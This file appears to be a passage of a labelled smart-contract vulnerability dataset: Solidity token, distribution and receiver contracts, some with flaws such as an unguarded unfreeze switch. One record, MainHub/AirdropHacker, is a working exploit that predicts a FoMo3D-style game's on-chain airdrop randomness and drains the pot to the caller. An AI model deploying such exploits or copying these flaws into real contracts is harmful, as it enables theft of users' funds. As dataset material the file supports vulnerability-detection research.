require(request.callbackAddress != address(0));
require(request.extended != true);
request.extended = true;
emit TimeLockExtended(request.timestamp + extendedTimeLock, _requestMsgHash);
}
} | 0 | 127 |
pragma solidity ^0.4.16;
contract owned {
address public owner;
mapping (address => bool) public admins;
function owned() {
owner = msg.sender;
admins[msg.sender]=true;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyAdmin {
require(admins[msg.sender] == true);
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
function makeAdmin(address newAdmin, bool isAdmin) onlyOwner {
admins[newAdmin] = isAdmin;
}
}
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData);
}
contract ETD is owned {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 minBalanceForAccounts;
bool public usersCanTrade;
bool public usersCanUnfreeze;
bool public ico = true;
mapping (address => bool) public admin;
modifier notICO {
require(admin[msg.sender] || !ico);
_;
}
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozen;
mapping (address => bool) public canTrade;
event Transfer(address indexed from, address indexed to, uint256 value);
event Reward(address from, address to, uint256 value, string data, uint256 time);
event Burn(address indexed from, uint256 value);
event Frozen(address indexed addr, bool frozen);
event Unlock(address indexed addr, address from, uint256 val);
function ETD() {
uint256 initialSupply = 20000000000000000000000000;
balanceOf[msg.sender] = initialSupply ;
totalSupply = initialSupply;
name = "EthereumDiamond";
symbol = "ETD";
decimals = 18;
minBalanceForAccounts = 1000000000000000;
usersCanTrade=false;
usersCanUnfreeze=false;
admin[msg.sender]=true;
canTrade[msg.sender]=true;
}
function increaseTotalSupply (address target, uint256 increaseBy ) onlyOwner {
balanceOf[target] += increaseBy;
totalSupply += increaseBy;
Transfer(0, owner, increaseBy);
Transfer(owner, target, increaseBy);
}
function usersCanUnFreeze(bool can) {
usersCanUnfreeze=can;
}
function setMinBalance(uint minimumBalanceInWei) onlyOwner {
minBalanceForAccounts = minimumBalanceInWei;
}
function transferAndFreeze (address target, uint256 amount ) onlyAdmin {
_transfer(msg.sender, target, amount);
freeze(target, true);
}
function _freeze (address target, bool froze ) internal {
frozen[target]=froze;
Frozen(target, froze);
}
function freeze (address target, bool froze ) {
if(froze || (!froze && !usersCanUnfreeze)) {
require(admin[msg.sender]);
}
_freeze(target, froze);
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(!frozen[_from]);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) notICO {
require(!frozen[msg.sender]);
if (msg.sender.balance < minBalanceForAccounts) {
sell((minBalanceForAccounts - msg.sender.balance) * sellPrice);
}
_transfer(msg.sender, _to, _value);
}
mapping (address => uint256) public totalLockedRewardsOf;
mapping (address => mapping (address => uint256)) public lockedRewardsOf;
mapping (address => mapping (uint32 => address)) public userRewarders;
mapping (address => mapping (address => uint32)) public userRewardCount;
mapping (address => uint32) public userRewarderCount;
mapping (address => uint256 ) public totalRewardIssuedOut;
function reward(address _to, uint256 _value, bool locked, string data) {
require(_to != 0x0);
require(!frozen[msg.sender]);
if (msg.sender.balance < minBalanceForAccounts) {
sell((minBalanceForAccounts - msg.sender.balance) * sellPrice);
}
if(!locked) {
_transfer(msg.sender, _to, _value);
}else{
require(balanceOf[msg.sender] >= _value);
require(totalLockedRewardsOf[_to] + _value > totalLockedRewardsOf[_to]);
balanceOf[msg.sender] -= _value;
totalLockedRewardsOf[_to] += _value;
lockedRewardsOf[_to][msg.sender] += _value;
if(userRewardCount[_to][msg.sender]==0) {
userRewarderCount[_to] += 1;
userRewarders[_to][userRewarderCount[_to]]=msg.sender;
}
userRewardCount[_to][msg.sender]+=1;
totalRewardIssuedOut[msg.sender]+= _value;
Transfer(msg.sender, _to, _value);
}
Reward(msg.sender, _to, _value, data, now);
}
function transferReward(address _to, uint256 _value) {
require(!frozen[msg.sender]);
require(lockedRewardsOf[msg.sender][_to] >= _value );
require(totalLockedRewardsOf[msg.sender] >= _value);
if (msg.sender.balance < minBalanceForAccounts) {
sell((minBalanceForAccounts - msg.sender.balance) * sellPrice);
}
totalLockedRewardsOf[msg.sender] -= _value;
lockedRewardsOf[msg.sender][_to] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
}
function unlockReward(address addr, uint256 _value) {
require(totalLockedRewardsOf[addr] > _value);
require(lockedRewardsOf[addr][msg.sender] >= _value );
if(_value==0) _value=lockedRewardsOf[addr][msg.sender];
if (msg.sender.balance < minBalanceForAccounts) {
sell((minBalanceForAccounts - msg.sender.balance) * sellPrice);
}
totalLockedRewardsOf[addr] -= _value;
lockedRewardsOf[addr][msg.sender] -= _value;
balanceOf[addr] += _value;
Unlock(addr, msg.sender, _value);
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require(!frozen[_from]);
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value)
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) onlyOwner
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) onlyOwner returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
uint256 public sellPrice = 608;
uint256 public buyPrice = 760;
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function setUsersCanTrade(bool trade) onlyOwner {
usersCanTrade=trade;
}
function setCanTrade(address addr, bool trade) onlyOwner {
canTrade[addr]=trade;
}
function buy() payable returns (uint256 amount){
if(!usersCanTrade && !canTrade[msg.sender]) revert();
amount = msg.value * buyPrice;
require(balanceOf[this] >= amount);
balanceOf[msg.sender] += amount;
balanceOf[this] -= amount;
Transfer(this, msg.sender, amount);
return amount;
}
function sell(uint256 amount) returns (uint revenue){
require(!frozen[msg.sender]);
if(!usersCanTrade && !canTrade[msg.sender]) {
require(minBalanceForAccounts > amount/sellPrice);
}
require(balanceOf[msg.sender] >= amount);
balanceOf[this] += amount;
balanceOf[msg.sender] -= amount;
revenue = amount / sellPrice;
require(msg.sender.send(revenue));
Transfer(msg.sender, this, amount);
return revenue;
}
function() payable {
}
event Withdrawn(address indexed to, uint256 value);
function withdraw(address target, uint256 amount) onlyOwner {
target.transfer(amount);
Withdrawn(target, amount);
}
function setAdmin(address addr, bool enabled) onlyOwner {
admin[addr]=enabled;
}
function setICO(bool enabled) onlyOwner {
ico=enabled;
}
} | 1 | 3,394 |
pragma solidity ^0.4.11;
contract ERC20Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract TokenController {
function proxyPayment(address _owner) payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) returns(bool);
function onApprove(address _owner, address _spender, uint _amount)
returns(bool);
}
contract Controlled {
modifier onlyController { if (msg.sender != controller) throw; _; }
address public controller;
function Controlled() { controller = msg.sender;}
function changeController(address _newController) onlyController {
controller = _newController;
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data);
}
contract MiniMeToken is Controlled {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'MMT_0.1';
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
MiniMeToken public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MiniMeTokenFactory public tokenFactory;
function MiniMeToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) {
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = MiniMeToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = getBlockNumber();
}
function transfer(address _to, uint256 _amount) returns (bool success) {
if (!transfersEnabled) throw;
return doTransfer(msg.sender, _to, _amount);
}
function transferFrom(address _from, address _to, uint256 _amount
) returns (bool success) {
if (msg.sender != controller) {
if (!transfersEnabled) throw;
if (allowed[_from][msg.sender] < _amount) return false;
allowed[_from][msg.sender] -= _amount;
}
return doTransfer(_from, _to, _amount);
}
function doTransfer(address _from, address _to, uint _amount
) internal returns(bool) {
if (_amount == 0) {
return true;
}
if (parentSnapShotBlock >= getBlockNumber()) throw;
if ((_to == 0) || (_to == address(this))) throw;
var previousBalanceFrom = balanceOfAt(_from, getBlockNumber());
if (previousBalanceFrom < _amount) {
return false;
}
if (isContract(controller)) {
if (!TokenController(controller).onTransfer(_from, _to, _amount))
throw;
}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
var previousBalanceTo = balanceOfAt(_to, getBlockNumber());
if (previousBalanceTo + _amount < previousBalanceTo) throw;
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
Transfer(_from, _to, _amount);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balanceOfAt(_owner, getBlockNumber());
}
function approve(address _spender, uint256 _amount) returns (bool success) {
if (!transfersEnabled) throw;
if ((_amount!=0) && (allowed[msg.sender][_spender] !=0)) throw;
if (isContract(controller)) {
if (!TokenController(controller).onApprove(msg.sender, _spender, _amount))
throw;
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender
) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) returns (bool success) {
if (!approve(_spender, _amount)) throw;
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() constant returns (uint) {
return totalSupplyAt(getBlockNumber());
}
function balanceOfAt(address _owner, uint _blockNumber) constant
returns (uint) {
if ((balances[_owner].length == 0)
|| (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) constant returns(uint) {
if ((totalSupplyHistory.length == 0)
|| (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) returns(address) {
if (_snapshotBlock == 0) _snapshotBlock = getBlockNumber();
MiniMeToken cloneToken = tokenFactory.createCloneToken(
this,
_snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
NewCloneToken(address(cloneToken), _snapshotBlock);
return address(cloneToken);
}
function generateTokens(address _owner, uint _amount
) onlyController returns (bool) {
uint curTotalSupply = getValueAt(totalSupplyHistory, getBlockNumber());
if (curTotalSupply + _amount < curTotalSupply) throw;
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
var previousBalanceTo = balanceOf(_owner);
if (previousBalanceTo + _amount < previousBalanceTo) throw;
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount
) onlyController returns (bool) {
uint curTotalSupply = getValueAt(totalSupplyHistory, getBlockNumber());
if (curTotalSupply < _amount) throw;
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
var previousBalanceFrom = balanceOf(_owner);
if (previousBalanceFrom < _amount) throw;
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) onlyController {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
if ((checkpoints.length == 0)
|| (checkpoints[checkpoints.length -1].fromBlock < getBlockNumber())) {
Checkpoint newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(getBlockNumber());
newCheckPoint.value = uint128(_value);
} else {
Checkpoint oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) internal returns (uint) {
return a < b ? a : b;
}
function () payable {
if (isContract(controller)) {
if (! TokenController(controller).proxyPayment.value(msg.value)(msg.sender))
throw;
} else {
throw;
}
}
function getBlockNumber() internal constant returns (uint256) {
return block.number;
}
function claimTokens(address _token) onlyController {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
ERC20Token token = ERC20Token(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract MiniMeTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) returns (MiniMeToken) {
MiniMeToken newToken = new MiniMeToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
}
contract FCC is MiniMeToken {
function FCC(address _tokenFactory)
MiniMeToken(
_tokenFactory,
0x0,
0,
"FinChain Token",
18,
"FCC",
true
) {}
} | 1 | 3,327 |
pragma solidity ^0.4.24;
contract FoMo3Dlong{
uint256 public airDropPot_;
uint256 public airDropTracker_;
function withdraw() public;
function buyXaddr(address _affCode, uint256 _team) public payable;
}
contract MainHub{
using SafeMath for *;
address public owner;
bool public closed = false;
FoMo3Dlong code = FoMo3Dlong(0x0aD3227eB47597b566EC138b3AfD78cFEA752de5);
modifier onlyOwner{
require(msg.sender==owner);
_;
}
modifier onlyNotClosed{
require(!closed);
_;
}
constructor() public payable{
require(msg.value==.1 ether);
owner = msg.sender;
}
function attack() public onlyNotClosed{
require(code.airDropPot_()>=.5 ether);
require(airdrop());
uint256 initialBalance = address(this).balance;
(new AirdropHacker).value(.1 ether)();
uint256 postBalance = address(this).balance;
uint256 takenAmount = postBalance - initialBalance;
msg.sender.transfer(takenAmount*95/100);
require(address(this).balance>=.1 ether);
}
function airdrop() private view returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < code.airDropTracker_())
return(true);
else
return(false);
}
function drain() public onlyOwner{
closed = true;
owner.transfer(address(this).balance);
}
function() public payable{}
}
contract AirdropHacker{
FoMo3Dlong code = FoMo3Dlong(0x0aD3227eB47597b566EC138b3AfD78cFEA752de5);
constructor() public payable{
code.buyXaddr.value(.1 ether)(0xc6b453D5aa3e23Ce169FD931b1301a03a3b573C5,2);
code.withdraw();
require(address(this).balance>=.1 ether);
selfdestruct(msg.sender);
}
function() public payable{}
}
library SafeMath {
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
} | 1 | 5,544 |
pragma solidity ^0.5.0;
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable
{
address public Owner_master;
address public Owner_creator;
address public Owner_manager;
event ChangeOwner_master(address indexed _from, address indexed _to);
event ChangeOwner_creator(address indexed _from, address indexed _to);
event ChangeOwner_manager(address indexed _from, address indexed _to);
modifier onlyOwner_master{
require(msg.sender == Owner_master); _; }
modifier onlyOwner_creator{
require(msg.sender == Owner_creator); _; }
modifier onlyOwner_manager{
require(msg.sender == Owner_manager); _; }
constructor() public {
Owner_master = msg.sender; }
function transferOwnership_master(address _to) onlyOwner_master public{
require(_to != Owner_master);
require(_to != Owner_creator);
require(_to != Owner_manager);
require(_to != address(0x0));
address from = Owner_master;
Owner_master = _to;
emit ChangeOwner_master(from, _to);}
function transferOwner_creator(address _to) onlyOwner_master public{
require(_to != Owner_master);
require(_to != Owner_creator);
require(_to != Owner_manager);
require(_to != address(0x0));
address from = Owner_creator;
Owner_creator = _to;
emit ChangeOwner_creator(from, _to);}
function transferOwner_manager(address _to) onlyOwner_master public{
require(_to != Owner_master);
require(_to != Owner_creator);
require(_to != Owner_manager);
require(_to != address(0x0));
address from = Owner_manager;
Owner_manager = _to;
emit ChangeOwner_manager(from, _to);}
}
contract Helper
{
event Transfer( address indexed _from, address indexed _to, uint _value);
event Approval( address indexed _owner, address indexed _spender, uint _value);
function totalSupply() view public returns (uint _supply);
function balanceOf( address _who ) public view returns (uint _value);
function transfer( address _to, uint _value) public returns (bool _success);
function approve( address _spender, uint _value ) public returns (bool _success);
function allowance( address _owner, address _spender ) public view returns (uint _allowance);
function transferFrom( address _from, address _to, uint _value) public returns (bool _success);
}
contract LINIXSB is Helper, Ownable
{
using SafeMath for uint;
string public name;
string public symbol;
uint public decimals;
uint constant private zeroAfterDecimal = 10**18;
uint constant public maxSupply = 2625000 * zeroAfterDecimal;
uint constant public maxSupply_SeedBlock = 2625000 * zeroAfterDecimal;
uint public issueToken_Total;
uint public issueToken_SeedBlock;
uint public burnTokenAmount;
mapping (address => uint) public balances;
mapping (address => mapping ( address => uint )) public approvals;
bool public tokenLock = true;
bool public saleTime = true;
uint public endSaleTime = 0;
event Burn(address indexed _from, uint _value);
event Issue_SeedBlock(address indexed _to, uint _tokens);
event TokenUnLock(address indexed _to, uint _tokens);
constructor() public
{
name = "LINIXSB";
decimals = 18;
symbol = "LNSB";
issueToken_Total = 0;
issueToken_SeedBlock = 0;
require(maxSupply == maxSupply_SeedBlock);
}
function totalSupply() view public returns (uint) {
return issueToken_Total;}
function balanceOf(address _who) view public returns (uint) {
uint balance = balances[_who];
return balance;}
function transfer(address _to, uint _value) public returns (bool) {
require(isTransferable() == true);
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;}
function approve(address _spender, uint _value) public returns (bool){
require(isTransferable() == true);
require(balances[msg.sender] >= _value);
approvals[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true; }
function allowance(address _owner, address _spender) view public returns (uint) {
return approvals[_owner][_spender];}
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
require(isTransferable() == true);
require(balances[_from] >= _value);
require(approvals[_from][msg.sender] >= _value);
approvals[_from][msg.sender] = approvals[_from][msg.sender].sub(_value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;}
function issue_noVesting_Public(address _to, uint _value) onlyOwner_creator public
{
uint tokens = _value * zeroAfterDecimal;
require(maxSupply_SeedBlock >= issueToken_SeedBlock.add(tokens));
balances[_to] = balances[_to].add(tokens);
issueToken_Total = issueToken_Total.add(tokens);
issueToken_SeedBlock = issueToken_SeedBlock.add(tokens);
emit Issue_SeedBlock(_to, tokens);
}
function isTransferable() private view returns (bool)
{
if(tokenLock == false)
{
return true;
}
else if(msg.sender == Owner_manager)
{
return true;
}
return false;
}
function setTokenUnlock() onlyOwner_manager public
{
require(tokenLock == true);
require(saleTime == false);
tokenLock = false;
}
function setTokenLock() onlyOwner_manager public
{
require(tokenLock == false);
tokenLock = true;
}
function () payable external
{
revert();
}
function endSale() onlyOwner_manager public
{
require(saleTime == true);
saleTime = false;
uint time = now;
endSaleTime = time;
}
function withdrawTokens(address _contract, uint _decimals, uint _value) onlyOwner_manager public
{
if(_contract == address(0x0))
{
uint eth = _value.mul(10 ** _decimals);
msg.sender.transfer(eth);
}
else
{
uint tokens = _value.mul(10 ** _decimals);
Helper(_contract).transfer(msg.sender, tokens);
emit Transfer(address(0x0), msg.sender, tokens);
}
}
function burnToken(uint _value) onlyOwner_manager public
{
uint tokens = _value * zeroAfterDecimal;
require(balances[msg.sender] >= tokens);
balances[msg.sender] = balances[msg.sender].sub(tokens);
burnTokenAmount = burnTokenAmount.add(tokens);
issueToken_Total = issueToken_Total.sub(tokens);
emit Burn(msg.sender, tokens);
}
function close() onlyOwner_master public
{
selfdestruct(msg.sender);
}
} | 1 | 2,975 |
pragma solidity ^0.4.18;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a && c >= b);
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
}
contract Owned {
address public owner;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function setOwner(address _newOwner) public onlyOwner {
owner = _newOwner;
}
}
interface Token {
function transfer(address _to, uint256 _value) public constant returns (bool);
function balanceOf(address _owner) public constant returns (uint256 balance);
}
contract Distribution is Owned {
using SafeMath for uint256;
Token token;
event TransferredToken(address indexed to, uint256 value);
event FailedTransfer(address indexed to, uint256 value);
modifier whenDropIsActive() {
assert(isActive());
_;
}
function Distribution () public {
address _tokenAddr = 0xB15EF419bA0Dd1f5748c7c60e17Fe88e6e794950;
token = Token(_tokenAddr);
}
function isActive() public constant returns (bool) {
return (
tokensAvailable() > 0
);
}
function sendTokens(address[] dests, uint256[] values) whenDropIsActive onlyOwner external {
uint256 i = 0;
while (i < dests.length) {
uint256 toSend = values[i] * 10**8;
sendInternally(dests[i] , toSend, values[i]);
i++;
}
}
function sendTokensSingleValue(address[] dests, uint256 value) whenDropIsActive onlyOwner external {
uint256 i = 0;
uint256 toSend = value * 10**8;
while (i < dests.length) {
sendInternally(dests[i] , toSend, value);
i++;
}
}
function sendInternally(address recipient, uint256 tokensToSend, uint256 valueToPresent) internal {
if(recipient == address(0)) return;
if(tokensAvailable() >= tokensToSend) {
token.transfer(recipient, tokensToSend);
TransferredToken(recipient, valueToPresent);
} else {
FailedTransfer(recipient, valueToPresent);
}
}
function tokensAvailable() public constant returns (uint256) {
return token.balanceOf(this);
}
function destroy() onlyOwner public {
uint256 balance = tokensAvailable();
require (balance > 0);
token.transfer(owner, balance);
selfdestruct(owner);
}
} | 0 | 980 |
pragma solidity ^0.5.9;
contract Receiver {
address public implementation;
bool public isPayable;
event LogImplementationChanged(address _oldImplementation, address _newImplementation);
event LogPaymentReceived(address sender, uint256 value);
constructor(address _implementation, bool _isPayable)
public
{
require(_implementation != address(0), "Implementation address cannot be 0");
implementation = _implementation;
isPayable = _isPayable;
}
modifier onlyImplementation
{
require(msg.sender == implementation, "Only the contract implementation may perform this action");
_;
}
function drain()
external
onlyImplementation
{
msg.sender.call.value(address(this).balance)("");
}
function ()
external
payable
{}
} | 0 | 2,300 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
